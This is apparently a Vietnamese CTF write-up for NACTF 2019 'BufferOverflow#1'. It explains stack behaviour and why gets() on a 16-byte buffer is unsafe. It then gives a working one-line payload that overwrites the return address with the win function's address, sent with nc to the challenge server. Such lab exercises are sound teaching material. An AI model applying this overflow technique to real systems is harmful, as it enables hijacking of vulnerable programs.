NACTF 2019 — BufferOverflow#1
lần đầu có được 1 nguồn bài tập pwn đáng tin cậy nên có thể solve được
link cho ai cần học pwn cơ bản
bắt đầu vào công việc thôi;
$Clues
source code:
theo như ta thấy thì biến buf tối đa 16 ký tự và đặc biệt hơn đó chính là hàm gets vì:
theo như source thì hàm win chính là nơi ta cần đến.
#Hiểu sơ về stack
stack hoạt động theo phương thức LIFO, thằng nào vô cuối thì thằng đó ra đầu tiên
như trên hình thì ta coi đỉnh stack nằm phía trên cùng vậy thì value AAAA chính là value cuối cùng vào đỉnh stack, cho nên cũng chính là value được pop ra đầu tiên
vậy việc overflow có thể hiểu đơn giản như thế này: ta có 1 chồng stack như sau
ta push thật nhiều value vào stack dẫn đến việc số 0 bị ghi đè lên nó chính được gọi là bufferoverflow
(nguồn từ LiveOverflow)
vì đây là dạng bài return addr nên ta hãy xem qua đây để rõ hơn
$Hacking
ta dùng radare2 để check địa chỉ của hàm win
ta có thể thấy được hàm win có addr là 0x080491b2
giờ ta hãy đổi nó sang Little endian
\xb2\x91\x04\x08
vì buf max = 16 kí tự nên script ta thành
python -c “print 'A'*(24+4) + '\xb2\x91\x04\x08'”|nc shell.2019.nactf.com 31462
#giải thích con số4
khi ta disass hàm vuln để ý đến đoạn này:
nó chính là giá trị của biến buffer trong source. 0x18=24 còn số 4 chính là số byte của return addr còn đang nằm trong stack
happy hacking!